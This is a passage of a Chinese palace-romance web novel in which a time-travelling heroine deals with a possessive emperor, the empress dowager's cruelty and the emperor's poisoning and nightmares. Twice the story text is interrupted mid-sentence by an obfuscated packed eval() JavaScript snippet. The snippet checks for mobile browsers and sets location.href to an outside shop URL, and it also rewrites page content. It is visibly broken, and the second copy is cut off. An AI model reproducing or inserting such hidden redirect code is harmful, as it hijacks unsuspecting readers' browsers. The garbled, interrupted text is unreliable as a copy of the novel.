看她欲言又止的模样,坐在主位上的尧让忽的冷声道:“生怕朕真的将将军府满门抄斩,更怕朕当真因功高盖主的缘由杀了苏风逸。” “我......”夏星辰更是一时语塞。 “苏风逸,你这妹妹本事可是大得很呢,为你证明你的清白,不惜进宫跪在极咸宫外几个时辰,甚至,还为了你们将军府上下所有人的性命而威胁朕,扬言朕若真杀了你们,他日,待她寻到机会,她一定毫不犹豫杀了朕。” 说这话时,尧让脸上的神情愈发的阴沉无比,甚至还夹杂着些许杀意。 堂内瞬间鸦雀无声,苏风逸即刻跪下,语气慌张道:“陛下明鉴,小夕她只是因为关心则乱,才会......” 尧让抬手制止了她的话,神色异常平静:“你别着急替她辩解,她没错。况且,朕与她的赌约,她赢了,所以此事朕不会怪她。” 听到这话,夏星辰顿时愣神了。若非她亲眼目睹了尧让武功的真正实力,她或许会真的以为自己能轻易伤到尧让,是自己有本事。 所以,她现在有理由相信,当时在极咸宫外,他是有意如此,是在赌她会不会伤他! 尧让缓慢站起身,面无表情道:“朕累了,给朕安排个房间吧。” “是,臣立即安排。”说罢,苏风逸便匆匆转身吩咐下人。 看着尧让往内院走去的背影,心里头又酸又涩,不禁怀疑自己是否一开始就笃定了他在自己心里就是那是非不分的暴君?自己为何会受尧显的挑拨而对他生了疑心? 在她错愕的时候,苏风逸将一瓶金疮药塞在她手里,轻声道:“去给陛下处理伤口。” “处理伤口?” “方才陛下的袖口里溢出了血,他向来不喜旁人碰他,你去看看。” 夏星辰点点头,随即便往内院走去。她站在廊下这扇紧闭的房门外,深吸了一口气才抬起手轻叩着门。 “莫要打扰。”屋内传来尧让冷淡的声音。 她没有挪动脚步,轻言轻语道:“陛下,是我,我是来给您送药的。” “进来吧。” 夏星辰推开门,屋内只点了一盏灯。此时,坐在床榻上的尧让已将外衣脱下,手臂处那未及时处理的伤口,一直往外渗着血,被夏星辰看得清清楚楚。 尧让抬眼看着她,淡淡地说道:“药放下就行,你出去吧。” 她没有听他的话,而是一步步走过去,声音极轻:“我......我得看看你的伤口情况,虽然......” “虽然什么?” “虽然我并非像墨影姑娘那般得陛下信任,但是,这金疮药能暂时处理伤势,届时墨影姑娘处理的时候能减少些陛下你的痛苦。” 说着,她迎上他的视线,小心翼翼地问道:“可......可以吗?” “可以。” 得到他同意后,夏星辰走上前,小声地说:“陛下,要将里衣脱了才行。” 尧让抬起另外一只手,将里衣一点点解下来;见他一只手略微有点艰难,她便想都没想,助他将里衣完全解了下来。 蘸了药的药签刚触碰到伤口,他便紧皱起眉头。见状,她将动作放轻柔了许多,生怕再弄疼他。 刚涂完药,夏星辰无意间瞥到靠近肩膀处的那道已化疤的伤口,而留下这道伤口的始作俑者便是她自己。 “对......对不起!” 尧让忽然抓住她的手腕,突如其来的力道,致使手中的药签掉落在地,也迫使她迎上他那双冷漠的双眼。 “你何错之有?既然事情已经做了,就别假惺惺地道歉。”他收回手,语气甚是平淡:“短短一月,看来你已然接受成为寻常女子。” “当然,在莹粹宫里只有我和小莲,将军府里有我爹和哥哥,除了膳食有所变化之外,那便是身旁有家人。自然......要比宫里好很多。”夏星辰诚实的说道。 尧让边将里衣穿上边开口:“朕还以为你要抓住这个千载难逢的机会,成为显王妃呢。” “陛下何必说这话来试探我?”她将药瓶放在桌子上,随即将倒满热茶的茶杯递给他,继而说道:“即便如陛下所说,我若成为显王妃,而刚好显王殿下是良配的话,倒也算不错。” “这还真是朕听过最好笑的笑话。苏清夕,皇帝的妃子和王爷的妻子,哪个是高位,你不知晓吗?” “知晓啊,但是,王妃是正妻啊,陛下!”说着,她便笑了笑:“皇帝的妃子的确是高位,但那是妾室。我这么说,可不是觊觎那后位,即便是哪个女子有幸成为陛下你的皇后,也还是无法避免后宫佳丽三千!” 尧让看着她,笑出了声:“你对后宫佳丽三千的意见还挺大啊。” “是,我很在意。”夏星辰诚实地承认。 在他不可置信的眼神中,她继续说道:“陛下,每个女子都渴望一生一世一双人,这对于其他男子来说算是简单,但对于 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夏星辰走到门口,温声开口:“臣女退下了,就不打扰陛下歇息了。” 她不知道那晚之后,尧让心里所想的是什么,况且,她如今已经不是他的妃子,他的所思所想,自己也无权再去猜测。 “哥哥,陛下还没离开吗?”夏星辰刚从外面回来,手里还拿着一袋冒着热气的栗子,好奇地问着苏风逸。 “百里和林贤去查的事情还未有着落,陛下这几日估计都会待在将军府。” “好吧,那哥哥你继续练武吧。” 说着,她便欲要往大堂走去,刚要迈出脚,却被苏风逸拉住了手,疑惑地说道:“你等等!你昨日为何要自称臣女?” 他这问题倒是把夏星辰问疑惑了,这皇帝下的圣旨,传播速度这么慢的吗?这都一个月的时间了! “哥哥,你是不是没收到圣旨?” “圣旨?什么圣旨?”苏风逸更加一脸疑惑。 “一个月前,陛下他就已经下旨将我贬为庶人了,我也已经不是他的妃子了!” “你说什么?庶人?”苏风逸脸上的神情仍旧不解:“你是不是听错了?” 夏星辰白了他一眼:“我没听错。” “不对啊!若如你所说,你为何还能安然无恙地站在这里?” “我为何不能安然无恙地站在这里?苏风逸,我是你妹妹,你就那么盼着我出事呢?”夏星辰没好气地说道。 苏风逸神情从不解转为了慌张:“我不是那个意思,只是,朝秦本就有这个律法,皇帝的妃子,一旦被贬为庶人,言外之意便是赐死。” “这么严重吗?” 苏风逸点点头。 夏星辰突然拿起一颗栗子放进嘴里,边吃边说:“可能陛下忘了,或者是他无所谓。” 话一说完,她便自顾自地往大堂走去。其他的也许尧让会在意,但将她贬为庶人这件事都过去这么久,他总不至于事后算账吧? 用膳的时候,夏星辰看到站得笔直的黑狸,忽的笑道:“黑狸,你过来一起吃呗。” “属下不能没规矩。”黑狸严肃道。 “你别担心黑狸了,他不会饿着的。”苏风逸无奈地开口。 “苏清夕,你这么在意一个下属啊?” 尧让的突然开口,令正在吃饭的三人顿时不知所措。一旁的夏星辰淡定的问道:“什么意思?” “朕的意思是,若你在意,朕可以给你们赐婚啊。” 这话一传入夏星辰耳内,刚喝下去的汤差点喷出来。 一旁的黑狸也突然跪下,低下头:“陛下,属下未敢对大小姐有过半分越矩之举,望陛下明察!” “苏清夕,可惜了呢,他对你无意啊。” …… 夏星辰一脸茫然:“神经病啊,我对他也无意啊。我只是想着这么多菜,我们四个人也吃不完,干脆就让他一起,我没别的心思啊。” 苏风逸和苏承不知该说些什么,干脆就安安静静地听着。 36.可以跟你告状吗 “哦?那还真是朕误会了。” 夏星辰看着他,认真地说道:“陛下,赐婚这件事不是开玩笑的。你可是皇帝,别乱点鸳鸯谱啊,这要是夫妻不睦,和离还得找你盖玉玺呢。” 尧让吃了口饭,点了点头:“好,朕会慎重的。” 在午膳上被尧让搞这么一出,夏星辰一见到黑狸,便想都没想换了条道走。事后自己也想不通,她和黑狸又没做什么伤风败俗的事,躲什么啊? “苏清夕!” 刚要出门的夏星辰转过身,看着不远处的尧让,微微躬身道:“陛下!” 尧让一步步走到她身前,问道:“你这是要去何处?” “呃......”夏星辰面露为难之色,不知道该如何说出口,她总不能直接跟她说她要去看这个时代的“男模”吧? 说到这个“男模”,就要从夏星辰意外结识县令之女说起。她们二人只是走进了一家酒楼,夏星辰也只是意外从小二嘴里听到“特殊服侍”这四个字...... 按照现代人的思维,她一看到这四个字,便了然于心。但实在是架不住她的好奇心,所以,便点了一份这个古代版的“特殊服侍”。 没想到,那几个妖媚尽显的男子在她们眼前“搔首弄姿”时,她们顿时就明白了,为何这种人能让‘平民百姓’流连忘返了...... “怎么了?你去的地方见不得人?” 面对尧让的质问,她脸上的表情就更心虚了,甚至都不敢直视他的双眼。也不知道是由于他太聪明了,还是与生俱来的帝王威严,使得旁人在他面前撒谎都心生恐惧。 “没......没有啊,我只是觉得......觉得你一个大男人,管那么多做什么?”说话的时候,夏星辰从始至终都没抬头直视他。 尧让像是猜测到了什么,点点头:“那你去吧。” “好,那我就先走了啊。”夏星辰抓到机会后连忙转过身,以最快的速度跑了出去。 酒楼内,夏星辰和薛慧喝着小酒,欣赏着俊俏男子的舞姿,这时候的二人别提有多惬意了。 这还是夏星辰第一次沉迷在纸醉金迷的奢靡生活里,但她又无比清楚,这种生活只会令人不断沉沦。 “哪一个男子更好看啊?” 因喝了点小酒而脸颊通红的夏星辰,指着表演台中间的男子,笑嘻嘻道:“我喜欢那个,毕竟是头牌,喜欢就要喜欢最好的那个。” “那你知不知道,这是勾栏之地!沉迷于此地的名门权贵,都死透了。” 听到这话的夏星辰一愣,缓缓回过头,迷迷糊糊之中看清了苏风逸的脸,此时的他正一手捂住了薛慧的嘴,令其无法发出一点声音。 “哥哥?你怎么来了?”见状,身上的酒劲便消失得无影无踪。 苏风逸收回手,将薛慧轻推至一旁,恨铁不成钢道:“苏清夕,你胆子可真大啊,这种地方,这种......男子,你也喜欢?” “我没喜欢。”夏星辰小声地嘟囔道。 “你当我聋了?” 话音刚落,一众御林军就冲了进来,将在场之人吓得连忙躲至一旁。其中有的人看到御林军,甚是不解,此酒楼在这条街市上也已经不是一两年了,今日为何引得当今圣上不悦?竟到了差使御林军到此的地步? 为首的将士走上前大吼:“我等奉旨清除此勾栏之地!尔等凡无劣迹者,即刻离去,可保自身周全。若冥顽不灵,休怪刀剑无眼!” 说罢,便从剑鞘中拔出了长剑,直指表演台中的男子。 话一出,在场的人纷纷尽数逃离,就连表演的男子也慌忙随着离开。顷刻之间,整间酒楼只剩下御林军和苏风逸等人。 “见过将军!”为首的将士躬身说道。 苏风逸看了一眼一旁的薛慧,命令道:“送县令千金回去,并交代薛县令,好生管教贵千金,否则,本将军不介意差人替为管教。” “是!” 薛慧委屈的随着御林军走出了酒楼,离开之际,还回头看了一眼夏星辰。夏星辰尴尬的笑了笑,无声的表达了自己的无可奈何。 “哥哥,你这是做什么啊?” “你好意思问我做什么?你看看你自己在做什么?” 夏星辰无奈道:“我怎么了?我只是消遣消遣,又没有做什么不该做的事情,难道我连喝酒,看表演的权利都没有吗?” “陛下下过圣旨,朝臣以及其家眷不可流连于勾栏之地。” “既是如此,那京都便不会存在此等之地。若存在,便说明,陛下也只是睁一只眼闭一只眼;况且,来此地是我自己的事情,与将军府又没关系。” 见她如此冥顽不灵,苏风逸此时已经夹带着些许怒气:“你是陛下的妃子,你此举将陛下放在何处?” “我不是妃子!陛下早就将我贬出宫了,我算哪门子妃子?” “只要圣旨未下,你就还是妃子!” 夏星辰看着苏风逸,眼眶逐渐通红:“我不想跟你起争执,反正无论如何,你都选择站在他身边。” 见她自顾自地朝着大门走去,身后的苏风逸怒吼道:“你给我站住!” “怎么?还未分出个胜负啊?”尧让缓步走了进来,正好与要走出去的夏星辰面对面碰上,使得她忽的停下了脚步。 尧让看向苏风逸,冷淡道:“苏风逸,你出去吧。” “是。”苏风逸走了出去,顺势将门带上。 “苏清夕,朕并不想做到那种令朕与你之间都难堪的境地。”尧让坐在椅子上,直接拿起了酒壶,对着嘴将酒喝了下去:“朕当皇帝这么多年,死在朕手下人的不计其数,能用之人也众多,你不会真的以为朕不敢动将军府吧?” 夏星辰错愕地看着他:“你......你什么意思?” “过来。”尧让迎上她疑惑的眼神,脸上的表情阴沉无比:“别让朕说第二遍!” 她乖乖地走了过去。尧让看着她委屈的模样,戏谑地笑道:“你那日对朕说的话,朕思来想去,还真是令朕不悦。所以,朕便想到了一个惩罚你的法子,那便是你继续当你的明妃,将你这一生都困于深宫之中,可好?” “尧让,你......” “你若是拒绝,朕立刻下旨,抄了将军府!你若不信,可以试试。” 夏星辰看着眼前让她第一次感到如此惧怕的帝王,心中不禁涌起一股无力反抗的感觉。面对这窒息感十足的帝王威严,她只能点了点头:“好,陛下既要我如此,那我便如此。” “记住你说的。”尧让一把将她拉进自己怀里,凑到她耳边,轻声说道:“这是第一次,朕原谅你来这勾栏之地,若再有下次,朕就砍了将军府一人的头。还有,在朕这里,只有三次犯错的机会,你别逼朕起杀心,听明白了吗?” “你这是要玩强制爱的把戏啊?”夏星辰猛地地推开他。 尧让脸上露出玩味十足的表情:“朕不清楚你所说的强制爱是什么,但是,朕还挺喜欢将你囚禁在身边的感觉。” 此刻,夏星辰投降了,她是真真玩不过这狗皇帝! 那一日,她只见百里和林贤出现在将军府,不知道他们在书房谈论了什么。半柱香后,几人走了出来,尧让轻飘飘地对她说道:“回宫!” 没给她提问的机会,也没给她拒绝的权利。 坐在马车内的夏星辰掀开轿帘,朝着门口的苏承和苏风逸挥了挥手。 无聊的她看着坐在中间的尧让正一脸严肃的看着信中的内容,小声地开口:“怎么这么着急回宫?” “朕的事情,你无需过问。” “哦。”夏星辰识趣地不再多说一个字。 极咸宫内,尧让看着林贤,吩咐道:“将莹粹宫那名宫女送到极咸宫来,日后,她就在极咸宫内服侍明妃。” “陛下,什么意思啊?”她默默举起手发问。 “从今日起,你就住在极咸宫内,在朕的身边。” “不好吧,这成何体统!” 夏星辰这话一说出口她就后悔了,此刻的尧让正面无表情地看着她,吓得她不禁咽了一下口水。 “奴才这就去办!”林贤应声道。 接下来的日子里,夏星辰像个被豢养的金丝雀,整日在这极咸宫里,无聊地走来走去。去的最远的地方便是极咸宫外的亭子,有时会在亭子里看整整一天的戏文。 直到尧让处理完朝政回来时,她才有机会纠缠着他,让他同自己多说些话,虽然大多数都是她在自说自话。 同往日一般,夏星辰坐在亭子里,刚要翻开手中的戏文时,太后身边的嬷嬷便走了过来。 “娘娘,太后有请!” “太后可有说是何事?” 嬷嬷脸上仍旧挂着那副极为难看的笑脸:“没有。” 夏星辰犹豫了片刻后,将手中的戏文放在桌子上,起身道:“走吧。” 虽是许久没来这甘宁宫,但夏星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757834|187087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰一踏进去还是觉得浑身不自在。太后本来就看她不顺眼,将她请过来,想来也是憋了什么坏招。 果然,她一进去便看到了殿内两侧都坐着嫔妃,当她出现的瞬间,所有的目光便齐刷刷地看向她,可这种‘死亡凝视’她已经习惯了。 “臣妾见过太后!” “不愧是住进了极咸宫的妃子,这就摆起了架子?”太后眼神冷漠的看着她。 这突如其来的针对,夏星辰满脸不解:“臣妾惶恐,不知太后此言何意?” 太后没开口回应她,反倒是一旁的萧诗柔笑了笑道:“妹妹实在是走运极了,连兄长通敌叛国之事都可以让陛下一笔带过;而妹妹非但没有因此受累,还住进了陛下的极咸宫,姐姐佩服。” “我哥哥没有通敌叛国!陛下已经下旨澄清了此事,臣妾不解,究竟是陛下的圣旨可信度不高,还是贵妃娘娘希望我哥哥当真通敌叛国?” “你......你知道本宫并非此意?” “行了。”太后脸上终于露出了一个浅浅的笑容:“谁让皇帝这般喜欢明妃呢,毕竟是在先皇后膝下长大的,难免会感情用事,难分是非。” “这么一看,明妃与当年被皇帝斩杀的舞姬还有几分相像呢。怪不得,皇帝这是从你这张脸中看到了故人啊。” 说着,她缓缓站起身,走到夏星辰身边,脸上的笑意瞬间消失:“哀家可不能让皇帝重蹈覆辙过去的错误,因此,哀家今日便要替皇帝扫除障碍。” 夏星辰低声冷笑出声,太后这老太婆明面上说是替皇帝扫除障碍,实际上却是容忍不了皇帝宠幸不受她所掌控的妃子。 说白了,太后摆明了就想掌控尧让,像当初的宦官掌控太子那般。 太后只是看了一眼身旁的嬷嬷,嬷嬷便心领神会。只见她将一个空碗放在夏星辰的手心里,随即便往里倒满了热水。 滚烫的痛感刹那间涌上心头。见她的手不停地哆嗦着,萧诗柔站起身,美丽的脸上带着一丝轻蔑的笑。 “嬷嬷,让本宫来吧。” 萧诗柔并不像嬷嬷那般慢慢往空碗里倒水,而是尽数将热水往夏星辰的手上倒去。下一刻,夏星辰痛的收回了手,手上的碗也掉落在了地上。 “明妃,你怎么拿不稳呢?”萧诗柔笑道。 夏星辰看着内殿的众人,她知晓自己若是继续忍气吞声,今日怕是真要死在这甘宁宫了。 随后,她突然站直了身子,一把夺过萧诗柔手中的水壶,然后掀开了盖子,将滚烫的热水直接泼到了萧诗柔身上,伴随着萧诗柔痛苦的尖叫声,众人脸上皆出现了惊慌之色。 “怎么?贵妃娘娘是觉得甘宁宫的热水太烫了吗?”夏星辰也学着她的模样和语气,阴阳怪气起的说道。 “放肆!你竟敢在哀家的甘宁宫惹事生非?”太后怒拍着一旁的桌子,喝斥道。 “太后明察!臣妾若是再不反抗,岂不是要把命交代在这里?” “不愧是草莽之后。”太后被气得扬声喊道:“来人,将她拿下。” 几名婢女纷纷上前,但却都被夏星辰拿着手中的水壶一一击倒。随后她便做了一个大胆的决定,那便是‘走为上策’。 念头冒出的这一刻,她转过身迅速往殿外跑去。见状,太后生气地下令:“把她追回来,乱棍打死!” 跑出甘宁宫的夏星辰大气都不敢喘,拼命往极咸宫跑去。眼见快到极咸宫,她边跑边大喊:“百里,百里,救我!” ‘不可在皇宫中动武’这件事夏星辰记得可牢了。毕竟,这一不小心就会被认为是谋逆造反。 在这种情况下,也只能呼唤救援了。 好在,百里听到了她的呼唤,不负众望地出现在她身前:“娘娘!” 太后派出去的太监一看到是尧让身边的人,而且又是极咸宫周遭,哪里还敢上前,只能灰溜溜地离开了。 “苏清夕,朕记得朕与你说过,没有朕的允许,你不得离开极咸宫!”坐在椅子上的尧让神情愈发不悦地说道:“你是把朕的话当耳旁风吗?” 话刚说完,他便抬眼看向走进来的夏星辰,只见满头大汗,一脸狼狈。 而夏星辰一听到他责备自己,心中的委屈便像火山爆发一般全面爆发,小声地啜泣了起来。 “你……你被欺负了?” 夏星辰身体不停地颤抖着,委屈点点头:“我可以跟你告状吗?” 尧让不知所措地点点头:“可以!” 37.等同于拥有软肋 夏星辰走到尧让身边坐下,将事情从头到尾都讲了一遍,说完话时还不忘再挤出来一滴泪,让自己这样看起来更委屈了。 她以为身旁之人会像之前那样,看穿她故意夹杂了一些私人恩怨,然后再说些难听的话来让她不悦。 但事实却是......尧让轻轻地拿起她那双被热水烫红的双手,眼底闪过一丝担心:“你不会反抗吗?” “我……我总不能打太后吧?” 此话一出,站在一旁的林贤和百里没忍住偷笑出声。 “也不是不行,只是处理起来,会麻烦些而已。”尧让漫不经心地说道。 此话一出,夏星辰依旧还是觉得他是在跟自己开玩笑:“我这不就倒反天罡了吗?还是算了!” 尧让没有继续回应她的话,反而是看向还在偷笑的林贤,吩咐道:“别笑了,把烫伤膏拿过来。” “是!” 看着尧让认真且温柔地给自己涂着药,夏星辰开心地说道:“陛下,你能一直这样就好了。” 话音刚落,他抬眼看向自己的那一瞬间,略显慌张的立刻闭了嘴,尴尬的笑道:“开玩笑的。” “吃饭吧!” 夏星辰看了一眼自己涂好药的手,试探性地看着他,嘀咕道:“那你得喂我了。” “你以为朕没听到吗?”尧让拿起筷子,夹了块肉在她嘴边停下:“张开嘴!” 她顿时就愣住了,手足无措地看向林贤和百里,试图从他们脸上的神情中判断出,帝王这番举动是否有诈! “陛下,我开玩笑的。” “可朕没开玩笑。” 听到他这么说,夏星辰索性没想过多,直接张开嘴,将嘴边的肉咬进嘴里。美食给她带来的幸福感瞬间让她短暂忘记了今日受过的苦楚。 “我要吃这个,这个,还有这个......”夏星辰指着桌子上的每一道菜,尧让脸上没有出现不耐烦,只是一味的认真夹着菜,然后往她嘴里送。 林贤和百里哪里见过这样的尧让,脸上均露出了匪夷所思的表情。百里低声说道:“现在不仅是明妃娘娘中邪,我看陛下似乎也中邪了。” “似乎......是如此。”林贤错愕的说道。 可即便是感觉到尧让对待自己态度的变化,可他还是一如既往地将她囚禁在这极咸宫内。自从在甘宁宫发生的那件事后,他便下令守在极咸宫外的御林军,没有他的命令,不允许任何人将她带走。 “陛下!” 与寻常无样的用完晚膳,夏星辰开口叫住了尧让。她走到他身前,鼓起勇气开口说道:“我不是你豢养的鸟,你不能一辈子都将我囚禁在这极咸宫内。” “可朕喜欢如此,你喜不喜欢这件事,不重要。”没给她继续开口的机会,尧让便径直走出了极咸宫。 看着他离开的背影,夏星辰无奈的叹了一口气。本以为她与他的关系就这般不会再有改变时,意外还是悄然而至...... “百里,你这是怎么了?”在殿内整理戏文的夏星辰看到百里着急忙慌地跑进来。 见到夏星辰的那一刻,百里顾不上规矩,也没有任何的解释,直接拉起她的手往殿外走去。 “等等,到底是怎么回事?你先说清楚啊!”夏星辰猛地甩开百里的手,不悦地开口:“你是怎么回事啊?” 百里脸上的慌张神情依旧没有减少半分:“娘娘,劳烦您随属下去一趟东宫,陛下......梦魇犯了。” 听着这言简意赅的解释,夏星辰转过身便往殿外跑去,扬声喊道:“东宫在哪?” “请随属下来。” 二人赶到东宫时,门口的苏风逸见到夏星辰,一脸诧异地看向百里:“你怎么将小夕带来了?” “我觉得......这种局面,墨影搞不定。” 苏风逸忽的揪住了百里的衣领口:“小夕会受伤的。” “你们闭嘴!”夏星辰担心地问道:“陛下呢?带我过去啊。” 随着进入东宫的一处院落里,被紧闭的房间不断发出东西被砸碎的声音,以及挥舞刀剑的凌厉声。 “都给朕滚出去!” 话音刚落,房门被打开,林贤和墨影狼狈的走了出来,下一刻,门再次被紧闭。 见状,夏星辰侧过头看着身旁的苏风逸,问道:“哥哥,这究竟是怎么回事?陛下他怎么了?” “梦魇!自从......自从太子那件事之后,陛下时不时就被梦魇惊醒,一直都没怎么睡过一次安稳的觉。而每一次惊醒时,他总会看到太子殒命时的幻象,无法平静。” 百里把苏风逸未说完的话继续接下去:“原本陛下服用了墨影配的药后,便已经很少被梦魇惊醒了;可不知为何,陛下近日又开始了。” “陛下中毒了!”墨影看向夏星辰,开口道:“方才给陛下诊脉之时,陛下体内的毒与之前你在宫中所中之毒一模一样,由于陛下强行解毒,此法又损坏身体,因此,这才引发了梦魇。” 夏星辰这才恍然大悟,冷笑道:“这笔账,我会讨回来的。”说完话,她便直接走到房间门口。 “小夕,你做什么?” “梦魇加上他现在体内的燥热,放任下去,恐会疯掉。”下一刻,夏星辰直接推开了门。 关上门的瞬间,她看到了满地的狼藉,却没见到尧让的身影。 “尧让,尧让。”她一步步往前走去,目光被挂在墙壁的两张画像吸引,看着画像之人的着装,她一眼便认出来了是先皇后和太子。 突然,她猛地转身,尧让正持着长剑朝着她刺来。她本能地拿起一旁的玉碟直直挡下这一剑,随即开口轻唤他的名字:“陛下,是我啊。” 可下一秒,她手中的玉碟便被长剑挑飞。意识到眼下的问题,她连忙侧过身,将地上的木棍捡了起来。接着便是她一步步往后退,不停地躲避他一次次猛烈的进攻;但在他强有力的攻势下,她最终还是无法招架,木棍在霎那间就被劈成了两半。 那长剑即将要刺穿她的咽喉时,她先一步将两根银针扎在了尧让的两处穴位上,就在这时,长剑直直地在她的咽喉半寸前停下。 看着长剑稍微再往前那么一点就能贯穿自己的咽喉,夏星辰大气都不敢喘,连忙小心翼翼地将身体往一旁移动,直到彻底摆脱危险,她才敢大口喘气。 “我的天啊,哪个帝王的王剑那么长啊!这都能跟秦始皇媲美了。”对着眼前这把长剑简单地吐槽完后,她走到尧让身边,轻声道:“陛下,你认得我是谁吗?” 尧让一个字还未说出口,一口鲜血已喷溅而出。 “尧让,你不能强行解除这两根银针的。”夏星辰满脸担忧地看着他:“这两根银针能控制你体内的燥热和短暂的限制活动,除此之外,它没有害处的。” “你与他们都一样,只是想要朕的命。”尧让紧盯着她,语气甚是冷淡。 夏星辰小心翼翼将他手中的长剑取下,将其放置一旁后,缓缓开口道:“我不会要你的命,你就信我一次,行吗?若你愿意一试,你就点点头。” 尧让看着她的眼睛,而后点了点头。 “好,留会儿针。我保证,过会儿,你就会感觉身体不那么沉重了。”话说完,她便轻手轻脚的扶着尧让坐在椅子上。 片刻后,夏星辰取下那两根银针,然后将一颗药丸递给他,解释道:“墨影姑娘在我进来之前给我的,说是能抑制你的梦魇。” 尧让片刻犹豫也没有,直接拿过药丸吞了下去。 “陛下,你为何来东宫啊?是太子......”夏星辰看着他越发阴沉的脸,没敢再将那未说完的话说出口,尴尬的清了清嗓子:“对不起,我多嘴了。” “既然你那么想知道朕的过往,大可不必从旁人嘴里知晓个一星半点,朕说的,难道不比你从旁处听得精彩?”说着,尧让的目光已经落在她身上。 那说不清道不明意味的眼神,夏星辰不禁后背直冒冷汗:“那我......尽量当好这个最佳听众,绝对守口如瓶。” “太子答应过朕,若是有一日他登上了帝位,朕便可以肆意做朕所喜欢之事,那时的朕年少,便信了他的说辞。可一切都在他有了心悦之人后便都不作数了......后来朕毅然决然习武,上了战场,立下赫赫战功,为的就是有能力辅佐太子,可换来的是朕被扣上谋害太子的罪名,而后被囚。” 似乎是想起了那段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在夏星辰疑惑的神情中,他缓缓道:“那年,朕凯旋而归之时,曾对集市上一女子一见倾心。而后,朕与她便相约第二日在春花亭见面了,那一日,朕与她都赴约了,可朕却毫不犹豫的杀了她。” “杀......杀了?你就算觉得她甚是普通,也不至于此吧?” “朕杀她是因为那日赴约的人并不是她,而是她的孪生妹妹!”尧让忽的笑道:“即便是披着同样的皮囊,即便性格一模一样,但总会有不同之处;毕竟,有些习惯是天生就存在的,总会被看出破绽。” 夏星辰本就智商不足,她总觉得尧让眼下对她说的话暗藏什么玄机,但她又猜不上来。若说她有什么秘密,可就只有穿越这件事了;但尧让毕竟是古人,思想不可能这般超前吧? “所以你明白了吧,这也是你为何洗心革面后仍旧被人怀疑,因为你苏清夕本身就是这样的人!你苏清夕只爱自己。” 听到最后那句话,夏星辰整个人顿时愣住了。这句话,之前苏承也与她说过......她越来越好奇,这苏清夕究竟是得多自私?她不理解,出身名门贵族,得到父亲和兄长宠爱的人,怎会是一个只爱自己的人? “怎么?你在想什么呢?” 她摇了摇头,双眼无神地开口道:“突然觉得我出现在这里,就是一场鸿门宴啊。” 夏星辰的心理素质实在是非常差,一不小心就会露出破绽。她根本就不能确定,自己不是苏清夕这件事能隐瞒很久。 而且,古代的欺君之罪够她死得连渣都不剩了...... “放心吧,你没做错什么,朕不会杀了你。” “你这话我能信吗?”她忽的凑近他,小声地开了口:“陛下,有件事不知当问不当问?” 看着她略显慌张的神情,他嘴角上扬:“问。” “冒昧问一下哈,欺君之罪严重吗?它是依据什么判断的呢?” 尧让凑近她的脸,笑了笑道:“看朕心情。” “那就好,那就好,至少还能有解释的机会。”夏星辰仿佛劫后余生似的,拍了拍自己的胸脯。 在夏星辰还尚存有侥幸的机会之时,完全没意识到帝王落在她身上的那道眼神,那道眼神中仿佛看穿了一切,又带着浓重的戏谑之意。 38.以其人之道还治其人之身 “苏清夕,你明知朕犯梦魇,你还敢闯进来?” 被尧让这么一问,夏星辰想都没想就回答道:“我不想你出事啊。” “那你就不怕朕真的杀了你?” “怕。”夏星辰诚实地点点头:“但你岂是能被这种小毒中伤的帝王?我对你有信心!” 尧让似乎对她的回答满意至极,笑道:“很好。” “不不不,还是你厉害。我要是有陛下你三分之一的智商,我都早就成为富翁了,哈哈哈。”夏星辰一下子便脑补自己成为富翁的梦想。 “你要遐想的话,回去遐想。” 梦想突然被尧让冷不丁地打断,她神情极为不满地说道:“你真扫兴。”说罢,她站起身,整理了一下衣裙,忽的说道:“对了,想来陛下你也知道今晚你中毒之事,是有人有意而为之。” “所以呢?”尧让饶有兴趣地看着她。 “所以,我打算给陛下展示一手‘瓮中捉鳖’。”夏星辰思考片刻后,小声地开口:“此事还需要百里帮助。” “何意?” 夏星辰凑近他的耳边低语着。下一刻,便传来帝王震惊又夹带着怒意的声音:“荒唐!” 尧让吼出来的这一声,吓得夏星辰虎躯一震:“怎......怎么个荒唐啊?” “苏清夕,你还真是不将朕放在眼里啊?你还想要百里?” “谨言慎行啊陛下!”夏星辰一下子就听出他曲解了她的话,连忙解释道:“我没想要百里。那是演戏给别人看的,我不找百里我能找谁?难不成找我哥哥?找林公公?我若找他们,才是荒唐吧?” “那你不能换个法子?” 夏星辰耸了耸肩:“那陛下你说,换什么法子?什么法子能比这个好?” “行吧,那明日入夜,你就在极咸宫等着。”尧让最终还是松了口,主要是他也实在是想不到还有什么法子能比她提出来的法子实用。 一炷香后,夏星辰推开门时,被几双眼睛看得发怵:“哈喽啊!” “小夕,你没事吧?”苏风逸走上前,仔细地观察着她有无受伤。 “我没事啊!”夏星辰指了指房内,淡淡地说道:“陛下找你们。” “你和陛下......没有行男女之事?”墨影忽的问出口。 她这一问,包括夏星辰本人在内的几人,一一愣在了原地。 最后还是夏星辰打破了尴尬,她故意说道:“我们陛下岂是那种人!兴许是我没有魅力吧。”最后那几个字,她刻意抬高了声音,让里面的尧让听得清清楚楚。 可里面的人没有任何反应,她觉得甚是无趣,便说了一句现代人才能理解的“Good bye!”,随后就自顾自地离开了。 苏风逸等人脸上皆带着疑惑往房里走去。 “什么?”百里即刻跪了下来,信誓旦旦地说道:“陛下,恕属下难以从命!这般逾炬行为太荒唐了。” “既然你不想去,朕便替你去。” 此话一出,除了苏风逸在憋笑着,其他人都一脸地错愕。 整个房间只剩下尧让和苏风逸时,坐在主位上的尧让终是先开了口:“你最近去民间调查清楚,民间是否有此等‘邪术’?” “陛下,您看到了?” 